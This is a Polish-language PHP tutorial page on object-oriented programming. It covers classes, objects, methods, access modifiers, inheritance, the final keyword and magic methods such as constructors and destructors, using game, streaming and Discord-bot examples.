<h3 class="wp-block-heading">1. <strong>Organizacja i modularność</strong></h3>



<ul class="wp-block-list">
<li>OOP pozwala dzielić kod na mniejsze, logiczne fragmenty (klasy), które odpowiadają rzeczywistym obiektom lub pojęciom.</li>



<li>Dzięki temu kod jest bardziej przejrzysty i łatwiejszy w zarządzaniu.</li>
</ul>



<p class="wp-block-paragraph"><strong>Przykład</strong>: W grze komputerowej można mieć klasy <code class="prettyprint lang-sql" style="font-size: 0.85em;">Gracz</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">Przeciwnik</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">Broń</code>. Każda z nich zawiera tylko dane i funkcje związane z tym obiektem.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">2. <strong>Reużywalność kodu</strong></h3>



<ul class="wp-block-list">
<li>Możesz tworzyć klasy i wykorzystywać je wielokrotnie w różnych projektach lub częściach programu.</li>



<li><strong>Dziedziczenie</strong> umożliwia tworzenie nowych klas na podstawie istniejących, dzięki czemu kod jest bardziej elastyczny.</li>
</ul>



<p class="wp-block-paragraph"><strong>Przykład</strong>: Klasa <code class="prettyprint lang-sql" style="font-size: 0.85em;">Pojazd</code> może mieć podklasy <code class="prettyprint lang-sql" style="font-size: 0.85em;">Samochód</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">Motocykl</code>, które dziedziczą podstawowe cechy pojazdu (np. prędkość, masa), ale dodają swoje specyficzne funkcje.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">3. <strong>Łatwiejsze rozwijanie aplikacji</strong></h3>



<ul class="wp-block-list">
<li>W OOP zmiany są łatwiejsze do wprowadzenia, ponieważ każda klasa działa jako oddzielny moduł.</li>



<li>Jeśli potrzebujesz zmienić zachowanie jednego elementu, modyfikujesz tylko odpowiednią klasę, bez wpływu na inne części programu.</li>
</ul>



<p class="wp-block-paragraph"><strong>Przykład</strong>: Dodanie nowej broni w grze wymaga jedynie stworzenia nowej klasy na podstawie istniejącego schematu, np. <code class="prettyprint lang-sql" style="font-size: 0.85em;">Broń</code>.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">4. <strong>Ukrywanie szczegółów (enkapsulacja)</strong></h3>



<ul class="wp-block-list">
<li>OOP pozwala ukrywać szczegóły implementacji, dzięki czemu kod jest bardziej bezpieczny i trudniejszy do przypadkowego uszkodzenia.</li>



<li>Dane w klasach są chronione, a dostęp do nich odbywa się przez ściśle określone metody.</li>
</ul>



<p class="wp-block-paragraph"><strong>Przykład</strong>: W klasie <code class="prettyprint lang-sql" style="font-size: 0.85em;">KontoBankowe</code> saldo konta jest ukryte, a użytkownik może je zmieniać tylko za pomocą metod <code class="prettyprint lang-sql" style="font-size: 0.85em;">wpłać()</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">wypłać()</code>.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">5. <strong>Naturalne odwzorowanie rzeczywistości</strong></h3>



<ul class="wp-block-list">
<li>OOP naśladuje sposób, w jaki myślimy o świecie, opierając się na obiektach, ich cechach i zachowaniach.</li>



<li>Dzięki temu kod staje się bardziej intuicyjny i łatwiejszy do zrozumienia.</li>
</ul>



<p class="wp-block-paragraph"><strong>Przykład</strong>: Klasa <code class="prettyprint lang-sql" style="font-size: 0.85em;">Kot</code> ma cechy takie jak kolor futra (atrybuty) i umiejętności jak miauczenie (metody).</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">6. <strong>Łatwość debugowania i testowania</strong></h3>



<ul class="wp-block-list">
<li>Dzięki temu, że klasy są niezależne, błędy w jednym obiekcie nie wpływają na inne.</li>



<li>Testowanie poszczególnych modułów (klas) jest prostsze niż testowanie całości kodu.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">7. <strong>Polimorfizm – elastyczność w działaniu</strong></h3>



<ul class="wp-block-list">
<li>Polimorfizm umożliwia różnym obiektom używanie tej samej metody, ale w różny sposób.</li>



<li>Pozwala to na pisanie bardziej uniwersalnego i elastycznego kodu.</li>
</ul>



<p class="wp-block-paragraph"><strong>Przykład</strong>: Metoda <code class="prettyprint lang-sql" style="font-size: 0.85em;">atakuj()</code> może działać inaczej w klasie <code class="prettyprint lang-sql" style="font-size: 0.85em;">Rycerz</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">Mag</code>, mimo że jest wywoływana w ten sam sposób.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">8. <strong>Ułatwienie pracy zespołowej</strong></h3>



<ul class="wp-block-list">
<li>W dużych projektach, podział kodu na klasy ułatwia współpracę, ponieważ każdy programista może pracować nad innymi obiektami, nie wchodząc sobie w drogę.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">Podsumowanie</h3>



<p class="wp-block-paragraph">Programowanie obiektowe jest użyteczne, gdy:</p>



<ul class="wp-block-list">
<li>Tworzysz duże, złożone systemy.</li>



<li>Chcesz pisać kod, który łatwo rozwijać, utrzymywać i testować.</li>



<li>Potrzebujesz odzwierciedlić rzeczywiste pojęcia lub obiekty w swoim kodzie.</li>
</ul>



<p class="wp-block-paragraph">Jeśli jednak tworzysz mały, prosty skrypt, nie zawsze konieczne jest stosowanie OOP – wtedy wystarczą inne podejścia, jak programowanie proceduralne.</p>



<h2 class="wp-block-heading">Klasa i obiekt</h2>



<p class="wp-block-paragraph">Kiedy mówimy o <strong>klasie </strong>musimy wyobrazić ją sobie jak ogólny zarys/opis jakiegoś obiektu, zbiór cech wspólnych dla np. człowieka. Gdybyśmy mieli klasę człowiek moglibyśmy określić ogólne cechy jakie definiują ludzi, czyli np. to że śpi, że ma głos, oczy, włosy, ręce, nogi itd.</p>



<p class="wp-block-paragraph"><strong>Obiekt </strong>jest instancją danej klasy, czyli konkretnym człowiekiem np. Janem Kowalskim, który ma brązowe włosy, jest typem „skowronka” i ma niebieskie oczy. Te cechy nie są bezpośrednio związane z klasą, a z obiektem (instancją/wystąpieniem klasy).</p>



<p class="wp-block-paragraph">Można powiedzieć, że Jan Kowalski jest zmienną typu klasy, czyli obiektem typu człowiek.</p>



<p class="wp-block-paragraph">Przykład utworzenia klasy &#8211; Streamer na Twitchu</p>



<pre class="wp-block-code prettyprint"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php 
// Tworzymy klasę Streamer
class Streamer {
    public $nick;
    public $subskrybcje;
    public $followers;
    public $kategoria;
}
?&gt;</code></pre>



<p class="wp-block-paragraph">Mając tak zdefiniowana klasę możemy otworzyć konkretny obiekt:</p>



<pre class="wp-block-code prettyprint"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
$streamer1 = new Streamer(); // Tworzymy nowy obiekt klasy Streamer

// Nadajemy konkretne cechy
$streamer1-&gt;nick = 'GamingLegend';
$streamer1-&gt;subskrybcje = 1520;
$streamer1-&gt;followers = 45000;
$streamer1-&gt;kategoria = 'League of Legends';

// Wyświetlamy rezultaty
echo 'Streamer: ' . $streamer1-&gt;nick . '&lt;br&gt;';
echo 'Subskrybcje: ' . $streamer1-&gt;subskrybcje . '&lt;br&gt;';
echo 'Followersi: ' . $streamer1-&gt;followers . '&lt;br&gt;';
echo 'Gra w: ' . $streamer1-&gt;kategoria . '&lt;br&gt;';

/*
Wyświetli się:
Streamer: GamingLegend
Subskrybcje: 1520
Followersi: 45000
Gra w: League of Legends
*/
?&gt;</code></pre>



<h3 class="wp-block-heading">Wyświetlenie stworzonego obiektu</h3>



<p class="wp-block-paragraph">Możemy wyświetlić sobie stworzony obiekt:</p>



<pre class="wp-block-code prettyprint"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
echo '&lt;pre&gt;';
print_r($streamer1);
echo '&lt;/pre&gt;';

/*
Wyświetli się:
Streamer Object
(
    &#91;nick] =&gt; GamingLegend
    &#91;subskrybcje] =&gt; 1520
    &#91;followers] =&gt; 45000
    &#91;kategoria] =&gt; League of Legends
)
*/
?&gt;</code></pre>



<h3 class="wp-block-heading">Wartości domyślne w klasie</h3>



<p class="wp-block-paragraph">Klasie możemy nadać domyślne wartości, które zostaną nadane w momencie tworzenia obiektu:</p>



<pre class="wp-block-code prettyprint"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
class Streamer {
    public $nick;
    public $subskrybcje = 0;        // Wartość domyślna
    public $followers = 0;           // Wartość domyślna
    public $kategoria = 'Just Chatting'; // Wartość domyślna
}

$streamer1 = new Streamer(); // Tworzymy nowy obiekt

// Nadajemy tylko niektóre cechy
$streamer1-&gt;nick = 'NewbieStreamer';
$streamer1-&gt;followers = 150;

// Wyświetlamy rezultaty
echo 'Streamer: ' . $streamer1-&gt;nick . '&lt;br&gt;';
echo 'Subskrybcje: ' . $streamer1-&gt;subskrybcje . '&lt;br&gt;';
echo 'Followersi: ' . $streamer1-&gt;followers . '&lt;br&gt;';
echo 'Kategoria: ' . $streamer1-&gt;kategoria . '&lt;br&gt;';

/*
Wyświetli się:
Streamer: NewbieStreamer
Subskrybcje: 0
Followersi: 150
Kategoria: Just Chatting
*/
?&gt;</code></pre>



<p class="wp-block-paragraph">Już potrafisz:</p>



<ul class="wp-block-list">
<li>stworzyć definicję obiektu w postaci klasy</li>



<li>dodać publiczne pola do klasy i nadawać im wartości domyślne</li>



<li>przypisywać im wartości</li>



<li>odczytywać ich wartość</li>



<li>korzystać z „-&gt;”, by dostać się do pola klasy</li>
</ul>



<h2 class="wp-block-heading">Metody</h2>



<p class="wp-block-paragraph">Klasa może definiować metody, czyli nic innego jak funkcje z podejścia proceduralnego. Kiedy tworzymy obiekt nadajemy mu dostęp do metod danej klasy.</p>



<h3 class="wp-block-heading">Trochę praktyki&nbsp;&#8211; Discord Bot</h3>



<pre class="wp-block-code prettyprint"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
class DiscordBot {
    public $nazwa;
    public $serwery = 0;        // Liczba serwerów
    public $uzytkownicy = 0;    // Liczba użytkowników
    public $wersja = '1.0';     // Wersja bota

    // Teraz tworzymy metodę
    public function pobierzStatus() {
        return "Bot {$this-&gt;nazwa} jest aktywny na {$this-&gt;serwery} serwerach.";
    }
}

$bot1 = new DiscordBot();
$bot1-&gt;nazwa = 'MusicBot';
$bot1-&gt;serwery = 350;

$bot2 = new DiscordBot();
$bot2-&gt;nazwa = 'ModerationBot';
$bot2-&gt;serwery = 1200;

$bot3 = new DiscordBot();
$bot3-&gt;nazwa = 'GamesBot';

echo '&lt;pre&gt;';
print_r($bot1);
echo '&lt;/pre&gt;';

echo $bot1-&gt;pobierzStatus() . '&lt;br&gt;';

echo '&lt;pre&gt;';
print_r($bot2);
echo '&lt;/pre&gt;';

echo $bot2-&gt;pobierzStatus() . '&lt;br&gt;';

echo '&lt;pre&gt;';
print_r($bot3);
echo '&lt;/pre&gt;';

echo $bot3-&gt;pobierzStatus() . '&lt;br&gt;';
?&gt;</code></pre>



<p class="wp-block-paragraph">Zostanie wyświetlone:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">DiscordBot Object
(
    &#91;nazwa] =&gt; MusicBot
    &#91;serwery] =&gt; 350
    &#91;uzytkownicy] =&gt; 0
    &#91;wersja] =&gt; 1.0
)

Bot MusicBot jest aktywny na 350 serwerach.

DiscordBot Object
(
    &#91;nazwa] =&gt; ModerationBot
    &#91;serwery] =&gt; 1200
    &#91;uzytkownicy] =&gt; 0
    &#91;wersja] =&gt; 1.0
)

Bot ModerationBot jest aktywny na 1200 serwerach.

DiscordBot Object
(
    &#91;nazwa] =&gt; GamesBot
    &#91;serwery] =&gt; 0
    &#91;uzytkownicy] =&gt; 0
    &#91;wersja] =&gt; 1.0
)

Bot GamesBot jest aktywny na 0 serwerach.</code></pre>



<h3 class="wp-block-heading">Zmienna $this</h3>



<p class="wp-block-paragraph">Aby dostać się do konkretnego pola w obiekcie, korzystamy ze zmiennej $this.</p>



<p class="wp-block-paragraph">W powyższym przykładzie nadawaliśmy wartości odnosząc się bezpośrednio do pola klasy. Nie jest to dobra metoda, ponieważ użytkownik może wpisać co chce w dane pole i niestety skrypt może się &#8222;wysypać&#8221;.</p>



<p class="wp-block-paragraph">Aby tego uniknąć dodajemy dane za pomocą metody, którą możemy łatwo zabezpieczyć przed niechcianym kodem.</p>



<h3 class="wp-block-heading">Bezpieczne metody &#8211; setter i getter</h3>



<p class="wp-block-paragraph">Powyższy kod powinien wyglądać następująco:</p>



<pre class="wp-block-code prettyprint"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
class DiscordBot {
    public $nazwa;
    public $serwery = 0;
    public $uzytkownicy = 0;
    public $wersja = '1.0';

    // Metoda pobierająca status (getter)
    public function pobierzStatus() {
        return "Bot {$this-&gt;nazwa} jest aktywny na {$this-&gt;serwery} serwerach.";
    }

    // Metoda przypisująca liczbę serwerów (setter)
    public function przypiszSerwery($ilosc) {
        // Można dodać tutaj sprawdzanie czy wprowadzona wartość jest int 
        // i mieści się w określonym przedziale
        $this-&gt;serwery = $ilosc;
    }
}

$bot1 = new DiscordBot();
$bot1-&gt;nazwa = 'MusicBot';
$bot1-&gt;przypiszSerwery(350);  // Bezpieczne przypisanie

$bot2 = new DiscordBot();
$bot2-&gt;nazwa = 'ModerationBot';
$bot2-&gt;przypiszSerwery(1200);

$bot3 = new DiscordBot();
$bot3-&gt;nazwa = 'GamesBot';

echo '&lt;pre&gt;';
print_r($bot1);
echo '&lt;/pre&gt;';

echo $bot1-&gt;pobierzStatus() . '&lt;br&gt;';

echo '&lt;pre&gt;';
print_r($bot2);
echo '&lt;/pre&gt;';

echo $bot2-&gt;pobierzStatus() . '&lt;br&gt;';

echo '&lt;pre&gt;';
print_r($bot3);
echo '&lt;/pre&gt;';

echo $bot3-&gt;pobierzStatus() . '&lt;br&gt;';
?&gt;</code></pre>



<h3 class="wp-block-heading">Walidacja danych w metodach</h3>



<p>A teraz przykład z walidacją liczby serwerów:</p>



<pre class="wp-block-code prettyprint"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
class DiscordBot {
    public $nazwa;
    public $serwery = 'brak danych';  // Wartość domyślna
    public $uzytkownicy = 0;
    public $wersja = '1.0';

    // Metoda pobierająca status
    public function pobierzStatus() {
        return "Bot {$this-&gt;nazwa} jest aktywny na {$this-&gt;serwery} serwerach.";
    }

    // Metoda przypisująca liczbę serwerów Z WALIDACJĄ
    public function przypiszSerwery($ilosc) {
        // Sprawdzanie czy wprowadzona wartość jest int i mieści się w przedziale
        $ilosc = intval($ilosc);
        
        if ($ilosc &gt; 0 &amp;&amp; $ilosc &lt; 1000000) {
            $this-&gt;serwery = $ilosc;
        }
    }
}

$bot1 = new DiscordBot();
$bot1-&gt;nazwa = 'MusicBot';
$bot1-&gt;przypiszSerwery('tekst');  // Nieprawidłowa wartość - zostanie odrzucona

$bot2 = new DiscordBot();
$bot2-&gt;nazwa = 'ModerationBot';
$bot2-&gt;przypiszSerwery(1200);     // Prawidłowa wartość

$bot3 = new DiscordBot();
$bot3-&gt;nazwa = 'GamesBot';

echo '&lt;pre&gt;';
print_r($bot1);
echo '&lt;/pre&gt;';

echo $bot1-&gt;pobierzStatus() . '&lt;br&gt;';

echo '&lt;pre&gt;';
print_r($bot2);
echo '&lt;/pre&gt;';

echo $bot2-&gt;pobierzStatus() . '&lt;br&gt;';

echo '&lt;pre&gt;';
print_r($bot3);
echo '&lt;/pre&gt;';

echo $bot3-&gt;pobierzStatus() . '&lt;br&gt;';
?&gt;</code></pre>



<p class="wp-block-paragraph">Wyświetli się:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">DiscordBot Object
(
    &#91;nazwa] =&gt; MusicBot
    &#91;serwery] =&gt; brak danych
    &#91;uzytkownicy] =&gt; 0
    &#91;wersja] =&gt; 1.0
)

Bot MusicBot jest aktywny na brak danych serwerach.

DiscordBot Object
(
    &#91;nazwa] =&gt; ModerationBot
    &#91;serwery] =&gt; 1200
    &#91;uzytkownicy] =&gt; 0
    &#91;wersja] =&gt; 1.0
)

Bot ModerationBot jest aktywny na 1200 serwerach.

DiscordBot Object
(
    &#91;nazwa] =&gt; GamesBot
    &#91;serwery] =&gt; brak danych
    &#91;uzytkownicy] =&gt; 0
    &#91;wersja] =&gt; 1.0
)

Bot GamesBot jest aktywny na brak danych serwerach.</code></pre>



<p class="wp-block-paragraph">Już potrafisz:</p>



<ul class="wp-block-list">
<li>stworzyć metodę klasy</li>



<li>zwrócić wartość i przekazać argumenty</li>



<li>korzystać ze zmiennej<strong> $this</strong></li>



<li>zabezpieczyć dane</li>
</ul>



<h2 class="wp-block-heading">Modyfikatory dostępu</h2>



<p class="wp-block-paragraph">Do tej pory wykonywaliśmy przykłady w oparciu o publiczną dostępność danego elementu, czyli <strong><em>public</em></strong>. Taka metoda lub właściwość jest publiczna, więc widoczna wszędzie wewnątrz obiektu i poza nim. Dostęp do pola jest nieograniczony i można je odczytywać i zmieniać dowolnie.</p>



<p class="wp-block-paragraph">Właściwość lub metoda może być prywatna, czyli <strong><em>private</em></strong>, wówczas może zostać użyta tylko wewnątrz obiektu.</p>



<p class="wp-block-paragraph">Właściwość lub metoda <strong><em>protected </em></strong>może być użyta tylko wewnątrz obiektu, ale może być również dziedziczona.</p>



<p class="wp-block-paragraph">Zaleca się w programowaniu i w życiu, nie udostępniać zbyt wiele informacji na zewnątrz, więc tego się trzymajmy – korzystamy z modyfikatorów <strong><em>private</em></strong>.</p>



<h3 class="wp-block-heading">Przykład public &#8211; Serwer gry online</h3>



<pre class="wp-block-code prettyprint"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
class SerwerGry {
    public $czyOnline = true;

    public function wlacz() {
        $this-&gt;czyOnline = true;
    }

    public function wylacz() {
        $this-&gt;czyOnline = false;
    }

    public function sprawdzStatus() {
        return $this-&gt;czyOnline;
    }
}

$serwer = new SerwerGry();
$serwer-&gt;wylacz();
$serwer-&gt;czyOnline = true;  // Zmieniamy wartość parametru bezpośrednio!

echo $serwer-&gt;sprawdzStatus() ? 'Serwer online' : 'Serwer offline';

// Wyświetli: Serwer online
?&gt;</code></pre>



<p class="wp-block-paragraph">W powyższym przykładzie należy zwrócić uwagę na to, że pomimo iż ostatnią operacją na obiekcie było wyłączenie serwera, wprowadzenie bezpośredniej zmiany pola $serwer-&gt;czyOnline na true, sprawiło że otrzymujemy informację, że serwer jest online.</p>



<p>Możemy tego uniknąć blokując dostęp do pól i metod klasy, czyli zmieniając ich modyfikatory z publicznych na prywatne.</p>



<p class="wp-block-paragraph">Ustawiamy wartość prywatną:</p>



<pre class="wp-block-code prettyprint"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
class SerwerGry {
    private $czyOnline = true;  // Modyfikator prywatny, brak dostępu z zewnątrz

    public function wlacz() {
        $this-&gt;czyOnline = true;
    }

    public function wylacz() {
        $this-&gt;czyOnline = false;
    }

    public function sprawdzStatus() {
        return $this-&gt;czyOnline;
    }
}

$serwer = new SerwerGry();
$serwer-&gt;wylacz();
$serwer-&gt;czyOnline = true;  // Chcemy zmienić wartość parametru

// Tutaj interpreter zwróci błąd, gdyż nie ma dostępu do zmiennej

echo $serwer-&gt;sprawdzStatus() ? 'Serwer online' : 'Serwer offline';
?&gt;</code></pre>



<p>Przykład powyższy generuje błąd, ponieważ nie ma dostępu do prywatnej wartości pola klasy.</p>
<p>Ustawimy teraz metody na prywatne i publiczne:</p>



<pre class="wp-block-code prettyprint"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
class StreamConfig {
    private $bitrate = 6000;
    
    private function obliczJakosc() {
        return $this-&gt;bitrate / 1000 . 'Mbps';
    }
    
    public function czyMoznaStreamowac($upload) {
        return $this-&gt;bitrate &lt; $upload ? 'TAK' : 'NIE';
    }
}

$config = new StreamConfig();

echo '&lt;pre&gt;';
print_r($config);
echo '&lt;/pre&gt;';

echo $config-&gt;czyMoznaStreamowac(8000);  // Wyświetli: TAK
echo $config-&gt;czyMoznaStreamowac(3000);  // Wyświetli: NIE

// echo $config-&gt;obliczJakosc();  // Tutaj interpreter zwróci błąd, 
                                  // gdyż nie ma dostępu do metody
?&gt;</code></pre>



<p class="wp-block-paragraph">O modyfikatorze protected, trochę później – przy temacie dziedziczenie.</p>



<p class="wp-block-paragraph">Już potrafisz:</p>



<ul class="wp-block-list">
<li>ograniczać dostęp do pól klasy i metod</li>



<li>pozwalać klasie bazowej oraz klasom dziedziczącym na modyfikację pola lub metody</li>
</ul>



<h2 class="wp-block-heading">Dziedziczenie</h2>



<p class="wp-block-paragraph">Tak jak w życiu – jako potomkowie dziedziczymy po naszych przodkach pewne cechy (tak naprawdę to 50% od matki i 50% od ojca), tak samo klasy dziedziczą pola i metody, ale mogą zostać uzupełnione o inne elementy, których przodek nie posiada.</p>



<p class="wp-block-paragraph">Jeżeli klasa przodka posiada pola i metody, które&nbsp;<em><strong>nie są prywatne</strong></em>, to klasa potomna również będzie je posiadać.</p>



<p class="wp-block-paragraph"><strong>Klasa może dziedziczyć tylko po jednej klasie (rozszerzać tylko jedną klasę bazową ) </strong></p>



<p class="wp-block-paragraph">Aby klasa dziedziczyła po innej należy użyć słówka&nbsp;<strong><em>extends</em></strong>&nbsp;i podać nazwę klasy przodka:</p>



<h3 class="wp-block-heading">Przykład &#8211; Postać w grze RPG</h3>



<pre class="wp-block-code prettyprint"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
class Postac {
    private $nick = 'Gracz123';
    protected $poziom = 1;
    protected $hp = 100;
    public $imie;
    
    public function czyMartwy() {
        return $this-&gt;hp &lt;= 0;
    }
    
    public function otrzymajObrazenia($obrazenia) {
        return $this-&gt;zadajObrazenia($obrazenia);
    }
    
    protected function zadajObrazenia($ilosc) {
        $this-&gt;hp -= $ilosc;
        if ($this-&gt;hp &lt; 0) {
            $this-&gt;hp = 0;
        }
        return $this-&gt;hp;
    }
}

// Następuje dziedziczenie
class Wojownik extends Postac {
    private $pancerz = 50;
    
    public function mocnyAtak() {
        return $this-&gt;atakujZSila(30);
    }
    
    private function atakujZSila($ilosc) {
        if ($this-&gt;poziom &gt; 0) {  // Mamy dostęp do pola poziom, gdyż jest protected
            return $this-&gt;otrzymajObrazenia($ilosc);  // Metoda otrzymajObrazenia jest public
        }
        return $this-&gt;pancerz += $ilosc;
    }
}

$bohater = new Wojownik();

$bohater-&gt;imie = 'Conan';
$bohater-&gt;otrzymajObrazenia(25);
$bohater-&gt;mocnyAtak();

if ($bohater-&gt;czyMartwy()) {
    echo $bohater-&gt;imie . ' nie żyje!';
} else {
    echo $bohater-&gt;imie . ' walczy dalej!';
}

echo '&lt;pre&gt;';
print_r($bohater);
echo '&lt;/pre&gt;';

// $hp = $bohater-&gt;hp;  // Ta linijka wygeneruje błąd, 
                         // gdyż z zewnątrz nie mamy dostępu do pola protected
// $bohater-&gt;zadajObrazenia(10);  // Ta linijka podobnie, jak wyżej
?&gt;</code></pre>



<h2>Final, a nadpisywanie</h2>
<p>Wiemy już doskonale, że zadeklarowanie w kodzie zmiennej o nazwie, która już istnieje, spowoduje nadpisanie jej wartości. Tak samo dzieje się z metodami. Jeżeli klasa dziedzicząca będzie posiadała metodę o nazwie istniejącej w klasie bazowej, to jej funkcjonalność zostanie nadpisana:</p>



<pre class="wp-block-code prettyprint"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
class ProfilBazowy {
    public function wyswietlNazwe() {
        echo "Nazywam się: Użytkownik";
    }
}

class ProfilPremium extends ProfilBazowy {
    public function wyswietlNazwe() {
        echo "Nazywam się: Premium User";
    }
}

$profil = new ProfilPremium();
$profil-&gt;wyswietlNazwe();

// Wyświetli: Nazywam się: Premium User
?&gt;</code></pre>



<p class="wp-block-paragraph">W powyższym kodzie widzimy, że metoda wyswietlNazwe() została nadpisana i zamiast wyświetlić &#8222;Nazywam się: Użytkownik&#8221; otrzymaliśmy &#8222;Nazywam się: Premium User&#8221;.</p>



<h3 class="wp-block-heading">Słowo kluczowe final</h3>



<p class="wp-block-paragraph">Jeżeli chcemy zabronić klasie potomnej nadpisywania metod w klasie bazowej, używamy słowa final przed deklaracją metody:</p>



<pre class="wp-block-code prettyprint"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
class ProfilBazowy {
    final public function wyswietlNazwe() {
        echo "Nazywam się: Użytkownik";
    }
}

class ProfilPremium extends ProfilBazowy {
    /*
    public function wyswietlNazwe() {
        // Ta metoda wygeneruje błąd: 
        // Fatal error: Cannot override final method...
    }
    */
}

$profil = new ProfilPremium();
$profil-&gt;wyswietlNazwe();
?&gt;</code></pre>



<p class="wp-block-paragraph">Modyfikatora&nbsp;<strong>final&nbsp;</strong>możemy użyć przed nazwą klasy, wówczas ta klasa nie będzie mogła być dziedziczona.</p>



<p class="wp-block-paragraph">Już potrafisz:</p>



<ul class="wp-block-list">
<li>stworzyć klasę rozszerzającą inną klasę</li>



<li>korzystać z pól i metod klasy bazowej</li>



<li>nadpisywać metody klasy bazowej</li>



<li>blokować nadpisywanie przy pomocy słowa&nbsp;<strong>final</strong></li>
</ul>



<h2 class="wp-block-heading">Metody magiczne</h2>



<p class="wp-block-paragraph">Nazwa tych metod wzięła się stąd, że wywoływane są automatycznie w momencie tworzenia obiektu i nie wymagają dodatkowych akcji. Metody te występują tylko w kontekście klas, a ich nazwy są poprzedzone 2 znakami „podłogi” (podkreślnika)&nbsp;<strong>__&nbsp;</strong>.</p>



<h4 class="wp-block-heading">Konstruktor – __construct</h4>



<p class="wp-block-paragraph">Dzięki konstruktorowi możemy przesłać określone wartości do obiektu w momencie jego tworzenia.</p>



<p class="wp-block-paragraph">Teoretycznie PHP umożliwia stworzenie tylko 1go konstruktora, ale po to mamy kreatywność żeby móc sobie z tym poradzić&nbsp;<img decoding="async" role="img" draggable="false" class="emoji" src="https://s.w.org/images/core/emoji/13.0.1/svg/1f642.svg" alt="&#x1f642;"/>Zapraszam do zbadania tej ewentualności na stronie:&nbsp;<a href="https://kursphp.com/programowanie-obiektowe-php/konstruktor/" target="_blank" rel="noopener">https://kursphp.com/programowanie-obiektowe-php/konstruktor/</a></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// PHP ma TYLKO JEDEN konstruktor, ale możemy symulować wiele:

class Uzytkownik {
    private string $imie;
    private string $email;
    
    // Jedyny prawdziwy konstruktor
    private function __construct(string $imie, string $email) {
        $this-&gt;imie = $imie;
        $this-&gt;email = $email;
    }
    
    // Statyczne metody fabrykujące (factory methods) - symulacja wielu konstruktorów
    public static function zLoginu(string $login): self {
        // Pobierz dane z bazy po loginie
        return new self($login, "$login@example.com");
    }
    
    public static function zEmail(string $email): self {
        // Pobierz dane z bazy po email
        $login = explode('@', $email)&#91;0];
        return new self($login, $email);
    }
}

// Użycie - wygląda jak różne konstruktory:
$user1 = Uzytkownik::zLoginu('jan123');
$user2 = Uzytkownik::zEmail('anna@example.com');</code></pre>



<h4 class="wp-block-heading">Destruktor – __destruct</h4>



<p class="wp-block-paragraph">Destruktor wykonuje się w momencie niszczenia obiektu.</p>



<h4 class="wp-block-heading">Przykład użycia konstruktora i destruktora:</h4>



<pre class="wp-block-code prettyprint"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
class GraczOnline {
    private $nick;
    private $poziom;

    public function __construct(string $nick, int $poziom) {
        $this-&gt;nick = $nick;
        $this-&gt;poziom = $poziom;
        echo "Gracz {$this-&gt;nick} dołączył do gry!&lt;br&gt;";
    }

    public function getNick(): string {
        return $this-&gt;nick;
    }

    public function getPoziom(): int {
        return $this-&gt;poziom;
    }

    public function __destruct() {
        echo "Gracz {$this-&gt;nick} opuścił grę!&lt;br&gt;";
    }
}

$gracz = new GraczOnline('ProGamer99', 45);
echo 'Nick: ' . $gracz-&gt;getNick() . ', Poziom: ' . $gracz-&gt;getPoziom() . '&lt;br&gt;';

unset($gracz);  // Usuwanie obiektu
// Wynik: Gracz ProGamer99 opuścił grę!
?&gt;</code></pre>



<h3 class="wp-block-heading">Inne popularne metody magiczne</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">// __call() - wywoływana gdy metoda nie istnieje
public function __call($name, $arguments) {
    echo "Próba wywołania nieistniejącej metody: $name";
}

// __isset() - sprawdzanie czy właściwość istnieje
public function __isset($name) {
    return isset($this-&gt;data&#91;$name]);
}

// __unset() - usuwanie właściwości
public function __unset($name) {
    unset($this-&gt;data&#91;$name]);
}

// __clone() - klonowanie obiektu
public function __clone() {
    echo "Obiekt został sklonowany";
}</code></pre>



<p>Więcej informacji na temat metod magicznych znajdziesz w dokumentacji:&nbsp;<a href="http://php.net/manual/en/language.oop5.magic.php" target="_blank" rel="noopener">http://php.net/manual/en/language.oop5.magic.php</a></p>
<h2>Stałe</h2>
<p>Stała to właściwość klasy tylko do odczytu. Jak wiemy z języka PHP, stałe deklarujemy drukowanymi literami, są dostępne&nbsp;<strong><em>public&nbsp;</em></strong>i nie można ich modyfikować w kodzie.</p>
